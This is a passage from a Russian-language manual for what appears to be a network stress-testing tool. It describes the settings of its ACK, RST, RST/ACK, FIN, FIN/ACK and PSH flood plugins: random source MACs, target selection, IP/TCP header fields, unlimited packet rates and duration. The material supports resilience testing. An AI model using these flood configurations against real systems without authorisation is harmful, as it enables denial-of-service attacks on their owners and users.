НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 52;

Табл. 52 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 53;

Табл. 53 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 54;

Табл. 54 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 55.

Табл. 56 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

ACK Flood

ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом ACK на цель, заставляя ее обрабатывать множество соединений.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 57;

Табл. 57 - Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»);
НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 58;

Табл. 58 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 59;

Табл. 59 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 60;

Табл. 60 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 61.

Табл. 61 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

RST Flood

RST Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом RST на цель, которые сбрасывают активные TCP-соединения на целевом сервере.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 62;

Табл. 62 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 63;

Табл. 63 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 64;

Табл. 64 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 65;

Табл. 65 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 66;

Табл. 66 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 67.

Табл. 67 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

RST/ACK Flood

RST/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленными флагами RST и ACK, что приводит к сбросу соединений и нарушению нормального обмена данными.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 68;

Табл. 68 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 69;

Табл. 69 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 70;

Табл. 707 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 71;

Табл. 71 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 72;

Табл. 72 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 73.

Табл. 73 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

FIN Flood

FIN Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным с флагом FIN для завершения TCP-соединений. Этот шаблон используется для тестирования устойчивости сервера к неожиданным запросам на завершение соединений.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 74;

    Табл. 74 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 75;

Табл. 75 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 76;

Табл. 76 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 77;

Табл. 77 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 78;

Табл. 78 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 79.

Табл. 79 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

FIN/ACK Flood

FIN/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленными флагами FIN и ACK, что может привести к ненужному завершению активных соединений. Этот шаблон помогает проверить, как сервер реагирует на такие запросы.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 80;

Табл. 80 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 81;

Табл. 81 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 82;

Табл. 82 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 83;

Табл. 83 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 84;

Табл. 84 – Параметр «Скорость»

НазваниеОписаниеЗначение
Тумблер «Без ограничения»Максимальная производительность без ограничений на кол-во отправляемых запросов в секундуВключить/выключить
Пакетов в секундуКакое количество пакетов будет отправлено в одну секундуЗадайте числовое значение
Интервал между отправкой запросовОпция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду.Задайте числовое значение
  1. Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 85.

Табл. 85 – Параметр «Длительность»

НазваниеОписаниеЗначение
Длительность генерацииВремя генерации трафикаЗадайте числовое значение и выберите величину (в секундах, минутах или часах)

PSH Flood

PSH Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом PSH, требующих немедленной обработки данных на стороне получателя. Этот шаблон используется для тестирования пропускной способности сервера и его способности обрабатывать интенсивный трафик.

Данный плагин состоит из следующих параметров:

  1. Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 86;

    Табл. 86 – Параметры «Источники»

НазваниеОписаниеЗначение
АгентАгент, с которого будет отправляться трафик и с который будет принимать трафик.выберите агент из списка агентов
Сетевой интерфейсСетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафиквыберите интерфейс из списка интерфейсов
СетьВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети».выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети»)
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя
  1. Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 87;

Табл. 87 – Параметры «Цели»

НазваниеОписаниеЗначение
MAC-адресВыбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафикавыберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя.
ЦельВыбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель.выберите объект «Сети» из списка объектов.
  1. IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 88;

Табл. 88 – Параметры «IP заголовок (L3)»

НазваниеОписаниеЗначение
TTL (Time to Live)Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен.Задайте числовое значение (по умолчанию, значение TTL является: «128»)
ToS (Type of Service)DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафикаЗадайте числовое значение (по умолчанию, значение DSCP является: «7»)
ToS (Type of Service)ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов.выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced))
Случайный IDУникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакетаВключить/выключить тумблер
Значение IDЧисловой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключенЗадайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535»)
  1. TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 89;

Табл. 89 – Параметры «TCP заголовок (L4)»

НазваниеОписаниеЗначение
Max. Segment Size (Максимальный размер сегмента)Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегментеЗадайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460»)
WS (IP Options)Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных.Задайте числовое значение (по умолчанию, значение WS является: «64»)
Window Size (Размер окна)Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя.Задайте числовое значение (по умолчанию, значение Window Size является: «256»)
Случайный Sequence NumberСлучайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP)Включить/выключить тумблер
Значение Sequence NumberТекущее число в последовательности, указывающее порядок данных в потоке передачиЗадайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295»)
  1. Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 90;

Табл. 90 – Параметр «Скорость»

